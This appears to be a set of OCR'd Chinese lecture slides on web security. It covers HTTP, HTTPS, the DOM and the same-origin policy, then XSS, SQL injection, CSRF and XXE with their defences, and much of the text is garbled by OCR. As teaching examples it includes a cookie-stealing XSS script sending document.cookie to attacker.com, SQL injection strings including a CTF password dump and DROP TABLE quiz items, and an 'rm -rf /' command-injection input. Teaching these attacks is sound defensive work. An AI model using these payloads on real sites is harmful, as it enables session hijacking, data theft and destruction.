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HTTP &S ANE4HitX Hypertext Transfer Protocol
2868 FES @ S i

CLIENT WEB

HTTPi&3K SERVER

HTTP REQUEST:

GET /account.html HTTP/1.1 Host:

www.safebank.com

—_—

Accounts
Bill Pay
Mail
Transfers

e AT AW PR

HTTPRESPONSE:
HTTP/1.0 200 OK
<HTML>. .. </HTML>

HTTPgx7
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Uniform Resource Locator (URLs )
+ MBREAENEIZEBIMRRT

F——————Authority ———o]

http:// www.example.com: 80 /path/to/myfile.html ?key1=value1&key2=value2 —

Scheme Domain Name Port Path to the file Parameters L}Anchor

http://stanford.edu :80 |/class |?name=cs155
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Web &9

>

Method File HTTP version Headers

} ! } an

GET /index.html HTTP/1.1 ’
Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language:
en

Connection: Keep-Alive

User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Host:
www.example.com

0

Blank line
e
Data — none for GET

GET : no side effect POST : possible side effect
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HTTPH[ vz

HTTP version Status code Reason phrase Headers

S //

HTTP/1.0 200 OK

Date: Sun, 21 Apr 2019 02:20:42 GMT

Server: Microsoft-Internet-Information-Server/5.0 Connection:
keep-alive

Content-Type: text/html

Last-Modified: Thu, 18 Apr 2019 17:39:05 GMT Set-Cookie: i

Content-Length: 2543

<HTML> Some data... blah, blah, blah </HTML> 4

Cookies
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HTML ...
web page

CSS

Javascript

— RIS NERNES, AL
RABR. TRYEZERREIGRE

index.html
<htmD>
<bod

<div>
foo
<a href=""http://google.com'>Go to Google!</a>

<input type=""text” />
<input type="radio” />
<input type="checkbox” />
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WebIQ Eém ¢ @
HTML

index.css
p.serif{
font-family: "Times New Roman", Times, serif;
h
p.sansserif {

web page font-family:Arial, Helvetica,sans-serif;
}

CSS AFERrNEERIFERAFERFTRES

Javascript



web page

CSS

Javascript

<script>
functionmyFunction() {
document.getElementByld("demo").inmerHTML= "Textchanged.";

}

</script>

<button onclick="myFunction()">Click me</button>

THRIEN T RIZIE S
ﬁﬁﬁ o DU P8 B E S #55
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DOM
HTML [ ) HTML f#fr I

css [l Css fif —— BaBn Be

y/ %ﬁ%’w%ﬁiﬂ
Javascript |:> JS fEfT

Painter

BankAmericard >
Cash Rewards™ credit card =
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SZ%X]L%E Document Object Model DOM

Ny it

, TR HTML PRI SR A

HTML

<ht

</html>

<form>

</body>

00

<input type="text” />
<input type="radio” />

<input type="checkbox” />
</form>

DOM Tree

|-> Document

|-> Element (<body>)
|-> Element (<div>)

|-> text node

|- Radio Button
|-> Check Box
|- Button
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WebIUE A LR NIFZRIFRIAE
BEFaiR, ATER HIML FRNRFSZRE

o« H—ITT Frames:

<iframe src=°‘//site.com/frame.html” > < /iframe >

o HIZ Scripts:

<script src="//site.com/script.}s” > </script >

]

FETL CSS:

<link rel="stylesheet" type="text /css’href="//site/com/theme.css" />
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HTMLE[GIRE

Displays this nice picture
—— Security 1ssues?

2/ X/ S/B/E /A
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— A&
HTMLE/&irE

fEERAR = B EERHRIZ A :

> BRFATEE . B=HIRS U LUBITE MESGAEAEFRIIPHELE, NEEREE. 15
BIENEIEZESS

> IRIEFFAFIT R FE=RreeFERIRIMER (IX1EXNSEHER) | IRFMEE
o] LABESHTBFT A, WMibihosnEsR. REE BN a5,

> AL E%KME (CSP) gud: WRMWILSLHE AL EREE, ~HAICSPECE
AJgeIFIlEE =R, MMmiSNis KN,

> SRR D A B=RERAREHAEESIREGD KANEEE, WBETE RS
SHFTEEESU,

> RIRAFE . WRFB=FIRSF|/HEILEDARNE, BRTRAIERERNEN, B
TR ESRIAT TR TN ST IB T,
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HTMLE/FIRE I PITOIRER

"BRERRER"S ISR’ (Web Beacon)

w2 XURERNBHGIFEPNGE F, shE& fEAJavaScriptRsEil, BfiIa LAfKER

ANZIR T,

HAPNS S BIRERMERAIMNIAY, REERERSHINE, TN sssrE—

TEKEIARSEE, AMERSEFLUCERAFIITHER.

f5l]: <imgq src =
"http://example.com/trackingpixel.gif?emailld=user@example.com&cam
paignld=123" width="1" height="1" />

SHFPHFIRET, trackingpixel.gif Bl =#KIB3K, BRPEE TEI0S,

F=PIRSeEETICHERXLIEK, HaLANERER R EURTHRF T,

H— L BEHRRIBMA SR
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HTTPFJHTTPS

HTTP: HyperText Transfer Protocol 3 ANEHitiY
LAY A IURERE, MRS NAEHEINE, BiAim880
HTTPS: Hypertext Transfer Protocol Secure #8MANME#HiIZ 2 MY
2 HTTP #HT@ 5, BRI SSL/TLS RINEEGEE, EAin[] 9443
=
- 2t HTTPS E3UREmIIERRIELXIAVES &, TLARLEES
R &R PSR, RIEEHEI=EE T
PN
- EHEERIMNEZIMET, HTTPS tb HTTP AYN@m ARS8 EE 1<
« HTTPS =228 eEH, FERSSIEASTEFRR NI 21ER
« HTTPS ZEEZHIRSGSHERR, SSBANTS




HTTPAOHTTPS

=i IR43e8 = i fRsSae
httpiE>% httpsigsk
userMame = "123" ﬁggﬁ
serName = "123" et = TERRGeE userName = "123" &S @(H@*H& userName = "123"
zasswor o ";EEEE'&H a password ="666666" )' paSSWOI’d = "666666"




Web &7

HTTPAOHTTPS

B

userName = 123"
passWord = "666666"

BOHTT TR RIS
SAHRHS(* | @HEARHSH

EFim

userName = "123"
passWord = "666666"

R H666: 3IR NG
SAHRHS(* |@HRARMSH

@Zéiﬁ

SAHRHS (@R AR GH] 3" HEHS(I@HENBHSH

>

AR5 RS
@ w8 777 S5 B RTFMBTORAR
L o48: 777
$A18: 888
FRFAABBSA NIRRT
RIESAHEIS(1@0EA Buaso] 3" HENS(I@IBNENSH
S| HEE
userName = 123"
passWord = “666666"
fRS52%
(1) wesmeseznne
(EBEE666TREE
>
B H666:REIERRE

BRES

userName = "123"
passWord = "666666"

SR BE s
® W Rhttps://www.baidu.com
SSLECEFED
L 87T B777
sRSmEssmrEs (3) ESBNE 438888
wEEe

fSEERhitpsEs |

& A —/\AYE56666

A4

@ LNET777
INERLES6666
MIR&A$S%2

() mwmemims-anssxs |

| EEEAHssEREE " anss%e |

EREYLES6666NEEIR

userName = "123"
passWord = "666666666"

FFEMES(=Zi86666)i#(T
[HRNEB T @s%@u%as!

(@) ewmEEnsE
@axerxsgl

v @

B3R MAYLEE6666

(EFEREYLES (=H6666) 0 =R
@H%@A%A&!

L 23!

userName ="123"

passWord = "666666666"
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HTTP%DHTTPS

> F—MER AEXNTRINE) © XERHET
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FISERAMECA WAE

EREIIES, HREX CA BOFASR
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A

RESEREK
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EFREFERR) Hash &%
FHERIHE Hash (&
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I
MRS

EHER
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¥
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JEAIRIFREEE

A

EFER RS 2RI BRI
TR TN

R R TR B AR

RS SaiEFEE CRIRMANIZEL
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HTTPFIHTTPS

HTTP HTTPS

g ] 80 443
Ze TNE, €2HRE BinEis, Z2ERS
%yw\l VAEN
EOEENP | [ EE =2
“ =l i 1={TE SSL MYz £, SSLiz
tiMX =171 TCP iz b (= TCP V> L
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PERCENTAGE OF WEB TARGETS WITH
HIGH-SEVERITY VULNERABILITIES
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Web %

2020 Zero-Day Vulnerabilities by Software Type

Virtualization Software
3.6%

Email Client
7.1%

Security Software
10.7%

Web Browsers
35.7%

Font Library
14.3%

Operating System
28.6%

=
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In-the-Wild 0-days Detected vs. Year
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Number of ITW 0-days by Platform

10

O-days Detected

Android iOS macOS Windows Exchange Server
B 2021

B 2022
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_j(Webﬁigﬁi
SR ERE NS AESNGR AT EN a FREE ML ERYEETEE
MBI BB Muh Ao AN FRAYEE e Bt bRk 25 2
BRRAME : TEE ML oA WA TSRS

r

tabl tab2 Security Goals

SAFEBANK  loe catville il
password password

* tab 2 cannot compromise
the user’s computer or data

Accounts
Bill Pay
Mail
Transfers

tab2 cannot steal
information from tab1l
(without user permission)

banking content

* tab 2 cannot compromise
the session in tab 1

(cookies for www.safebank.com) (cookies for www.catville.com)
(javascript for www.safebank.com) (javascript for www.catville.com)
= (other resources for www.safebank.com) (other resources for www.catville.com)
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MR FRGtL . WETEHWebZe

OS Attacker

o] BEFER R R AR
MR BZER




Network Attacker

=2 ANZE N
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XTtlﬁTsM’Ez%é}EZE/E\ EZZ 2 FIWebZe 2

Web Attacker

KBS EAIAIO
AR EMNIL -
,H"“%JH,




Any Questions?
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WebX F-XSS
A E2XSSH T

XSSEFRIICross Site Scripting, 9T FICSSH

FHEE XSS, N E N,

ZimaAEER iR, SEmERIEFRE AT ﬁHHLJEEPE’JJavaSCHpt

AT, XSSEE#KATIRENCookie, AR HERIS DR

R ZISTUEPIBANRNESS
BIXEAFRFRT (W<) AY, AF
M B EIRA N EIBA THTML
T8, XUEHTMIATRESS I N T —E&
JavaScriptB) AR, XL AFZFT
BRI IT, FTld,
XS IR AN %)S‘ZE)JUFEL
BoieEHINKIREY, B
XSS,

TIRIEF1T A,
=z FETRRRORIS
O | HTE, MARE
&
,;@§6) »‘5
& /e
&/ /¥
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H s\te Attack Server




WebIZ & -XSS = o [

R , ‘
/, = SS I — Y SRR SURTHL  SURET  BMEES AR SURERr OB sURRAM RO
AIEX |__| Q. BT d, Bk HESEL: Q RREER > EBSSAUT > MRS > EPE > ENGLISH »

e
§1§U i UKHER BRI  HERE HEWR BEml (.’ﬁ“) s i j: Z AAER AR FHER RERS BREX

e victim.com ERIESF=A @) BEBE .. eesmmamrerrme

— http://victim.com/search.php ? term = apple

Search.php BT EWAFHNEEHEREESER
« PR5SERIRSEIN search.php:

<HTML>  <TITLE> Search Results </TITLE>
<BODY>
Results for k?php  echo § GET[term] ?>|:

</BERE s U echo search term
Results for apple : into response



Web X &5 -XSS

U4 EXSSH

Z(F]: « Consider link: (ropery UrL encoded)
http://victim.com/search.php ? term =
( <script> window.open( A
"http://attackercom/steal.php?
cookie =" + document.cool'iie) </script>

\ Wb E IR BT
- NERHP ST OX MR R A

JII/—DD

1. XIES8&aIal victim.com/search.php
2. BRSS=RR[E:
<HTML> Results for <script> ... </script>

3. XEREEHITEIFER ARIRIZS:
WEETTFRIFIE OSSR PRYcookie




TAXSSI TG

e ink
2. w

www.attacker.com
http://victim.com/search.php ?

Attack Server

term =

<script> ...

</script>

Victim client

<html>
Results for
<script>
window.open (http://attacker.com?
. document.cookie ...)
</script>

1 = </html>




WebI o5 - XSS il 4G -
X

/y B =+
'f—l_AKEXSSIQL_I Mk XSS, <input
=0 MIELR=HIbuUg onfocus="alert( & {RH L i
Mi')" />
1. E_)?B/L\\\%}\\%YE/ 4:/]_\%'_1':':'@”/5\ 8 7 A

<input onfocus="alert('1")">
2. FPHTFIYER, AEESRETSRITREaREY,

IEERIEZRPY £ HTML e
3. RS EER R EEH TR o

@in?




Web X &5 -XSS

XSSIQu HY95 25
1. REFBIXSS
REFBIXSSELERE WA ZH—28, PR, S3— 1 MugdI IR
SHELTFEANES: <?php echo "<p>hello, $ GET['user']</p>";?> ,
AATERIERIRE /?user=</p><script>alert(*hack")</script><p>
e T aFAYJavaScript{tag,

REFEIXSSIEE DR RFIGEER, FERWEE R NAYsEE T 8E
bk, BSZEXSS Auditor, NoScript& BE&IBILERE’J AL



WebI & -XSS

XSSIﬁzu U732
1. [REFBUXSS

eCe Q@ REHIE - XSS - Jimmy x +

< C A &2 | a.example.com:3000 B C'll C: M ® & O (ee BEE)

REIE - XSS

pLease enter username

/| SayHi |




Web X &5 -XSS

XSSHTHAY 2
2. {FHEEIXSS
EXimE, WEEREBIENEE T FAIRSSNEUEES, 1ETFAN
Y9I,

BE LA XSHPRINEZEASEFEFHRERGEMEHEFPI7=,

a: WEERBEESMBRRRBERMEROEGEEF,

b: RFP¥TFFERMubET, MibfRS S S22 CIEMNSIEEEL, HHEE
HTML FRZENITE 2SS,

¢ AR R N [T T, IR EEF RSB EAIRIT,

d: HEUIE BB HIEF X I EENMLE, & §7BRRY1TA,
& B B iR sz O T I EE TE ERVERE,




WebI & -XSS

XSSHIEERY 32E
2. FFIEBIXSS

L @ 7R - XSS - Jimmy x +
&7 : $ : 5 (oe pEE) :
< C A T%€2 | a.example.com:3000 R * {\n C: ® Q & O (ve BuE) :

{FhER - XSS

comment here...

2| Comment |

e |vy said: Nice Day! A



Web X &5 -XSS

XSSIﬁZu iSRS
3. DOMEUXSS

DOMEIXSSAEZAMEFDOMEIXSS—RRFIFR S eI NG S B B
Z, MaflavaScriptifl Ao TR A2+ =4hY,

a: WHEMNSHERRAY URL, HPEE5EERE,

b: BRI IHF+HEEEMIBAY URL,

¢ AP e es =W RN N fE BT 34T, Billm JavaScript B URL RS E:
CABFRIT

d: %:Etﬁﬁ% S PEEF AXREERINGG, ZE& B AP RIT Y,
18 A B iR ub iz R T = 15 e RYIRE,




WebI & -XSS

XSSIﬁZu ENpaES
3. DOMEXSS

®O0® @ DpoMm-xSS-Jimmy X +

& C A %2 | a.example.com:3000 M Oll R . oNE s | ,@,, Bgfé)' :

DOM - XSS Attack
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XSSIQu iNJEES

1.

SN A S T N

FAPRYCookie#Z3REY, HAAJBEfF{ESession IDEHEUEE., EIRSESIm
XBHIEN DR, & R XS Cookie B fhiR SRS,

W& Be A —EREMNICRAB PR B

WiEE BT CSRFE L TR S MmN TR E,

XSSIEHR . ZRRNAFR=BAGLEZHFIEME X EEERE.

IR NGRR3R

MIRXSSimEfAmAE I,



Web X &5 -XSS

XSSHITESLE
1518) http://xss-game.appspot.com/

F—K: REIBIXSS

T faonee oo
}EE@ . K?&%)Eﬁ?ﬂ%ugﬂiﬂxﬁg L_http://xss—game.appspot. com/levell/frame Go
— 1 BIUERER, BIREFEARS

SiE L Y MBS ERET. FourOrFour
SR LA ImERYE L AR TR
'f/EEjZE}%gﬁiﬁﬁ U Rl_ 1:20 Enter query here... Search

<script>alert()</script>

Hir: £ FEAEZRRFEA—
fIZS, s8H JavaScript alert(),




XSS

L2
o\ 2]
NG

Web X &5 -XSS

WL 3ERY

1718] http://xss-game.appspot.com/

Pk FEEIXSS

fmin . WENEEFESEREH
PEIRRFERS SR imaIEET
i R S MR 1F S P imEl
fEET, RNeBEREHF. T
I0IXEE Pl SRR B T4,

AR/ VORLEE,

Hin: EA—THRIAN, ENARE
FrRY_E N3 ARsEttalert(),

2 | amvulnerable

URL ‘ http://xss—game. appspot. com/level2/frame ‘ Go

HadCha+“'(‘ Chatter from across the Web.

/! You
Mon Apr 22 2024 21:33:32 GMT+0800 (FEtRERtRE])

Welcome!

This is your personal stream. You can post anything
you want here, especially madness,

m <img src='N" onerror=alert(document.domain)>
Y/

R scriptf AN e T



Web X &5 -XSS

KBW¢7@£
1718] http://xss-game.appspot.com/

HB—=%- DOMEUXSS

M |amvulnerable
}EHL J—_EQD EJ: ):I EFIE UE/J URL‘http:/’/xss-game. appspot. com/level3/frame#l I/> < Scr|pt> a|el’t(), </Scr|p‘t> J Go |

—\%*J"‘E’J J\SIZ\I ﬁzxeimﬂsztlﬁzm,” B
\L%[EKE K;'ﬂ] EQIXJBCESy:L cloudiddily ake a tour of our cloud data center.

i\ PRI EERIA, A, imaged ] imege2 | image3
X—SSLRESNAIRY APIZ | - -
USSR, WXL APl 15| %5
T{E}Eﬁ JJ:[SIA:QZ_

St5 RUAB—Hf, AR AR
FIEAN—PBIARLES JavaScript | mFE H‘F‘ﬁ%—ufﬁlﬂEﬁEﬂﬂ%EiﬁM\ﬁxﬁW@ EIg
alert(), WARIE URL F2FhFERhdmigibiit,

|||n|




Web X &5 -XSS

L2
2 2
N7
NG

XSSTLaRANE: RS

SHE Same-origin policy

il

 NERERRTPRE NuGER S EMuiRE, REE—MutiIZ N REAIREE

browser:

browser:

security
barrier

\ i

... 4 - No securnty
wikipedia.org

barner

wikipedia.org

BankAmericard 5"00
Cash Rewards™ credit card
T 2 . .

mozilla.org wikipedia.org
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XSSIﬁZuE’JBE#' SRR

QX Same-origin policy
NESssPHIE MG EE S EAEMuLIEE, KER—Mi5rIZ

- JII/—I:ID

N ERWES
EREERIRH T A RIEZ ST TR, RRTRSE R HNEER
N, RER

SERURLARE, URLETMY. 133.
URLAYEMN. i@ &2F0im 48R, NERRMAIELR,

Origin = protocol + hostname + port

um [F1ES22HRL, ROSRAD

http://coolsite.com:81/tools/info.html




Web X &5 -XSS

XSS

Originating document

http://wikipedia.org/a/

http://wikipedia.org/

http://wikipedia.org/

http://wikipedia.org:81/
http://wikipedia.org:81/

WERIBESE: [ERSEE Same-origin policy

Accessed document

http://wikipedia.org/b/

http://www.wikipedia.org/

https://wikipedia.org/
http://wikipedia.org:82/

http://wikipedia.org/

XX %X X<
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L2
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Web X &5 -XSS

XSSIWTHRIMDSE . Bt

B LZEHEE Content Security Policy(CSP): & M BFEESTR AT LA 2580 TR E JAZ,
WD XSS BOARAE,

1 | Content-Security-Policy: default-src 'self’; script-src 'self’ https://cdn.example.com; style-src ‘self' '

e'; img-src data: https://images.example.com; font-src ‘self' https://fonts.gstatic.com;

BWASEATIR: APBARNARBAEEEE, 2XAPEBARNESEEHTIGIE, R
SRS EAEYE. LLAIXIRIAARES script 4M8, ZIFRiZInSRIBERK,

B RIE, ¥EEE— N FREREEEIWebMTIETS, ES Y A HEX N F TSR
EOBEEXSHTARFA (< > &'F) , AT HHIRGILNSHIEIEMIERIE,
o] LUMFERYRIS (HTMLEncode) #HTAME,

(ERZEHERSEFE . TLUlEFERim A AESR Angular, ENE 724!,

ERTA XSS B,



Any Questions?
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{+ZESQL/$AIQ |__7

« SQLAYME=:: SQL (Structured Query Language)
EEUEIGES, BN KREHIEERRF % /‘M

S, CRUNBRIFTEXRERRES, i
MySQL. Oracle. SQL Server &,

» SQUEANBIRESHIRE: SwebNAMEEEEE
FERiRSQUE TR TEWEFRIENT, WNRXTHA
BIANNSERBET TSN IEETE, BRARE
EMLSERFHRINSQLUER], BEEmASIEE
ARSI T, SRENEMZ R E RIS,

SOL Injection

L

+1 1‘t§515"‘bug



WebX - SQL

'H'/ =SQEEAIE?
. SQLE)\E’JZIKJ— IERPBASIESERIERNT, &5 7 8ESL
2 ERREN
. SQL;‘E)\%E%mﬁEETJ 4
1. SHAPAE: imEEREiRIISEBR AT,
2. S NEUEESR: EANSHEFHERISQUEaFR, B ANEiERE

REIE,
AFER

BPE
1 or‘1’="1

- SELECT * FROM user WHV |
id=" '

AEFIRETsqIEN
sqiEA1: FBmysql iEFE, BFPR% A\ aaa or 1=1 #, ZEEEEEA
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TAESQLEAE?
- SQLEANBIARR: EBAPBANEIEISFAERAT, &5 7 8iES
b aE=REN|E
« SQUEANFEZEmEHIFEH:
1. SYHAFAE: BlinEEERNSHBRAE.
2. ’A‘%ﬁt)\*ﬁ)ﬁr i EANRSEFHERISQLUEa S, B ASUEE

http://students.com? SELECT * FROM students
studentld=117 or 1=1;-- WHERE studentld=117 or 1=1;
> 3> _
‘ SERRRERE .
==/ — —
Attacker € Web API Server

. SQL Database
Data for all students is Return data for Server

returned to the attacker all students



=

WebI - SQL

1SQLIES]

o SELECT column FROM table WHERE condition
REIFENERNTEICREPIEERETLEEIIRIE,
f5]: SELECT Balance FROM Customer WHERE
Username=‘bgates’ =75%!79.2

o INSERT INTO Customer VALUES (8477, 'oski', 10.00);
[ APIBEAFE—1T

« DROP TABLE Customer
GRS

Customer
AcctNum Username Balance
1199 zuckerberg 35.71
0501 bgates 79.2
Customer
AcctNum Username Balance
1199 zuckerberg 357
0501 bgates 79.2
8477 oski 10.00




WebIZ#- SQL

SQLE)\E’]/ TR —RIRFEARDE
1 HFEEN:
£ Web g R aea 2l 2fadhttp://xxx.com/news.php?id=1 Xz, EH
AR Id 2B AHF, FrANEFEEAN S,
IX—ZEHY SQL EQEHEE A select * from news where id=1, {1RKEHEE
SEARYERTAT or 1=13BARREFRFHEAIsgIERIN A select * from news
where id=1or 1=1EISHNE T RERISQLUIETLE, ST SQUENRK
B,




WebIZ#- SQL

SQLE)\E’]/ P RE—IZIREANR DS
2. FRIELEN:
£ Web g2 S 88 %U{?Jﬂﬂhttp'//xxx com/news.php?name=admin XFHH

TUAYURLIBIE, EDFANS name KRBV AZFRFSEE, FRLAMUERELEA S, X—
2B SQL EQIEIEE N select * from £ where name='admin’

SIWEBESEBadMInEEPIIAEAUES or 1=1 HBAFHZ L KAIsqiENIE
B/ select * from news where chr="admin’ or 1=1"', X#ESQLUIEAIEIFEH S

BEER
SABEE AR UERX A BRI, ~fER—LENER

RO RS, Bg0admin’ union select 1,2,3,4 or '1'— 1 T%szP}ﬁT;zSQLLE’jZ

f&, MIZZEL T select * from news where chr='admin' union select 1,2,3,4 or '1'="1'

XHERA] LA union SR I 2 RS BRI IR BB .



WebX - SQL

. P e S
Eg}i)\/‘f_\:l\ﬁj\;ki & =0l EFEEE)

SQLE}\E’J/ ye—

3 EREST e
IR—= :’|EE'| EEEE SRR —SFaEERTEEE?

yﬁjﬂﬂe?ﬂ | ]/_\E b B P UERERNINEE, R
NeeEFEENIIEERTRE, FHtth=FESQL
ENRRXE,

R AISQUE NS S EWH BT ER % NG
FfT73o

FEFAILER], XML RERNERERE XA
S, HITHELIBA%0ox% or 1=1#%' B, FrEaBF
SIS e




SQLENELE

1718) http://redtigerlabs.overthewire.org/

%_9& ;Eﬁ?‘;;:l::lzu < C @ O 8 redtiger.[abs,ovefthewire.oq'level1.php?cat=1
O#whex DgEmeeT O xaA O OmBEEx DiEsSEY O

TSP Remote Ev... @)
Welcome to level 1
Welcome to level 1

Lets start with a simple injection.

Target: Get the login for the use

Hint: You really need one? omg - -
Tablename: level1_users

Lets start with a simple injecti

Tablename: level1_users

SELECT * FROM level1 _users WHERE cat = 1

Category: 1

Category: 1

This hackit is cool 3)
My cats are sweet.
Miau

This category does not exist!

Username:
Password: ' Login

Username: Hornoxe
Password: | Login




WebIr#- SQL

SQLFENSLE
1718] http://redtigerlabs.overthewire.org/
E—x. HFh

Welcome to level 1 ﬁ:t%ijj_ \Eﬂ

Lets start with a simple injection. l’ed’[igel’. |abS.OvertheWi I’e.OI’g/|
Target: Get the login for the user Hornoxe eve” . ph p?cat:'l or ’I :/I

Hint: You really need one? omg - -
Tablename: level1_users

SELECT * FROM level1 _users WHERE cat = 1 or 1=1

Category: 1

This hackit is cool :)
My cats are sweet.
Miau

Username:
Password: Login




SQLIENELE

1718] http://redtigerlabs.overthewire.org/

F—x. H=z8

&

redtiger.labs.overthewire.org/levell.php?
cat=1 order by 2/3/4/5

SELECT * FROM level1 _users
WHERE cat = 1 ORDER BY 4

Welcome to level 1
Lets start with a simple injection.
Target: Get the login for the user Hornoxe

Hint: You really need one? omg - _-
Tablename: levell1_users

Category: 1

This hackit is cool :)
My cats are sweet.
Miau

Username:
Password:

Login

Welcome to level 1
Lets start with a simple injection.
Target: Get the login for the user Hornoxe

Hint: You really need one? omg -_-
Tablename: level1_users

Category: 1

This hackit is cool :)
My cats are sweet.
Miau

Username:
Password:

Login

Welcome to level 1
Lets start with a simple injection.
Target: Get the login for the user Hornoxe

Hint: You really need one? omg -_-
Tablename: level1 _users

Category: 1

This hackit is cool 3)
My cats are sweet.
Miau

Username:
Password:

Login

Welcome to level 1
Lets start with a simple injection.
Target: Get the login for the user

Tablename: levell1_users

Category: 1

This category does not exist!

Username:
Password:

Hornoxe
Hint: You really need one? omg -_-

Login

order by 2

order by 3

order by 4
AT LAREN

order by 5

Hhz=547)




5Q

WebH - SQL

LN
1518) http://redtigerlabs.overthewire.org/
FE—x. #F=FH

BEBEHEN:
http://redtiger.labs.overthewire.org/level1.php?cat=1
Union select 1,2,username,password from level1_users

SELECT * FROM level1_users WHERE cat= 1
UNION
SELECT 1, 2, username, password FROM level1_users

Welcome to level 1
Lets start with a simple injection.
Target: Get the login for the user Hornoxe

Hint: You really need one? omg -_-
Tablename: level1 _users

Category: 1

This hackit is cool :)
My cats are sweet.
Miau

Hornoxe
thatwaseasy

Username:
Password: Login




WebI#HE- SQL
SQLIFEAGLS)

B [ERERYRTIR T, B NURLETLAMIBREEZE A usersZ=?

a. www.example.net/login.php?user=;DROP TABLE users;--

b. www.example.net/login.php?user=admin%27%3B%20DROP%20TABLE%20users-

-%3B&pwd=f

c. www.example.net/login.php?user=admin;%20DROP%20TABLE%20users;%20--

&pwd=f

d. It is not possible. (None of the above)
login.php:

Sresult = pPg_query ("SELECT from users WHERE

| |

-
uid
pwd
if (pg _query num($result) > 0) {
echo "Success";
user pontrol pansl redirect():

.8 GET['ussr"].""
'"-$_GET['de'] .lll .

AND

%27=’

%20 or + = space
%2F =/

%3B=



WebI#HE- SQL
SQLIFEAGLS)

a. www.example.net/login.php?user=;DROP TABLE users;--
b. www.example.net/login.php?user=admin’; DROP TABLE users--;&pwd=f
c. www.example.net/login.php?user=admin; DROP TABLE users; --&pwd=f

d. It is not possible. (None of the above)

oRR: [EREAYRIIR N, B NURLEILAMIBREE ZEE R JusersZR?

login.php:

Sresult = pg query ("SELECT * from users WHERE
uid = '".$ GET['user']."' A
pwd = '"".5 GET['pwd'].""';");

if (pg _query num(S$result) > 0)

echo "Success";
user control panel redirect();

} o - o Eg_query(”bELECT
uid
pwd

Pg query ("SELECT -
B DRO

from users WHERE

'admin'; DROP TABLE users;--' AND
lfl;ll);

from users WHERE uid = 'admin';
ABLE users;"):




WebIZ#- SQL

mIEA

)

display.php: <? echo system("cat ".$ GET['file']); 2>

BIER . BIgFRNI—BEEMR [http://www.example.net/display.php] #{EFE_EIREIZN,
ABA U REIB- N URLESSRY?

2R BX60HEIH TS

a. http://www.example.net/display.php?get=rm

b. http://www.example.net/display.php?file=rm%20-rf%20%2F %3B

c. http://www.example.net/display.php?file=notes.txt%3B%20rm%?20-

%20%2F %3B%0A%0A
d. http://www.example.net/display.php?file=%20%20%20%20%20

HFASE T HI161HEIZRR . %20 or + = space, %2F =/, %3B=;



WebIZ#- SQL

A AN
AR EAN
display.php: <? echo system("cat ".$ GET['file']); 2>

DR ERIRF(I—BEEMIT [http://www.example.net/display.php] F{ER_DIARIZ,
ABA NIIEINFRIIB P URLEEEHY?

R BN oG TS

a. http://www.example.net/display.php?get=rm

b. http://www.example.net/display.php?file=rm -rf /;

c. http://www.example.net/display.php?file=notes.txt; rm - rf /;

d. http://www.example.net/display.php?file=

AR B e 22, BRIt =AM CIEHT,
B="1a7E sfile@notes.txt, HFITRHEIMEREIE, BHEAEKEREL,
ST EEERE, AR SEAERE,

==
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WebX&H- SQL

LENBIBATEIZR RS
1. BIANIGUEFTE

BATE NGRS R 2 eSQLEAIEHRI I, MIZIAEXT B N HT
IUEANTIE, REZFETEIRIIRIEUE. 190, oJLAERENIFRKIUCRIGE
NS LECTEARIR L,

N RSN ZERS SN E RS ImFED, LURIFAFPRA S EREFE
2|SQLEEH, XA ARG LIRS E BB AT,

2. (EFRTERIAPIFOMESS:
(RTINS E R SHIAPIRIESS ERESQLE AN EGERIEE G, XL
APIFIEZSE B X PN T 7 1I& 3RS uEATE, MM XREE LRI T
SQLEANHRIXE,

Blan, XNFEFEEERE, JLUEREERFLZEICRIIORM (RIS ZEKMET)
TH, #HibernategkDjango,
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WebX&H- SQL

LiE NRIF el o
1. RNBIERISE

2. (FRZERIAPIFIMESS

3. &/MXBRRN

ATREEERIRE, MzIRIEFEASIEERPANBREF 7o B/ IR,
XA LR ERESQUEAWTRT, WhE AN SHEEH TEURIRE,

4. EHAEFTFN4EH

EHAEF AL R SR E S IR R SN HiZFAF R E
ZimiE, FREEFIIZE SR,

— 05
Sl

FFeLUEEENIZ



WebIZ#- SQL

SQLE)\ SXSSHIBRFANX B

XSS (BUIAE) FSQLEAREENNNEBNE LT, BlilE—EEEL

#FA T Wit mERN a5 E. RERBENBNBRERZE RS

SIBAPRmAZYE, BT EANEESEE (RhESENAER ENEEEE

KBENAHEFATIEFERREIE) | (BeIRBER IR NBFTANE

> WEBRAR: XSSEEEHHIMN RN, EHE%P/XJBCEEJ:MUHHZF
":?TZHF'J]FHP; MSQLEAFERET NN BEFNEIERE, BITIEEN
SQLAR RENMEEZE,
> ZNSERE XSSEZMEMERLHAR, JUESEAPER, HiFHRsR
%, SQLEANNEZEHETRIRIGEE, 2naJLAEA™E, LU itsEE,
HIBIRINE,

> SLHEA T, XSSHIFBBIEHTMLUFDJavaScripiXEEFIHHIANES . MSQLIEN
LJELQWLSQL E0H1T,




BRI AR I -E’J,éﬁ% N1
?J Zé;/rl _t NEEX Tx

WAYE R MU A K,




CSRF (EBufEk{miE)

NABFEERIIS D RIEEEIEK

BHES T,

{EFHCSRFSRE, I&uFReferersk, {&FH
SameSite Cookie/E 4%

ST SR BT I R

SRR PR R LATHAFHIZHAIES | RHBFAEEE, EREftHaaEAr
FELNERBARE | ASRPSIIEERE TR BRI SR ETURL

LiERRE KAy B R A E Token gﬁﬁHTTPS, LZHICookietric, KATEHE
A SRR BB Eame | L e OO acontent

TR e A e REBNETESR, XTURLETFIREE, (ERE

2

XMLIMERSE(R (XXE)

HMIAXMLEE frEe R RS MEBRSE R AYRIE)

ZEFIXMLIMEBSLRFIDTD, (FRZEAIXMLER
HriEE

{EFBAPIFIE, SEREM RIS A IIERIEANR

e AR B SBEIESIEE £
RIS S B A ERBINEE Y, B

IR E

BHEH




Any Questions?



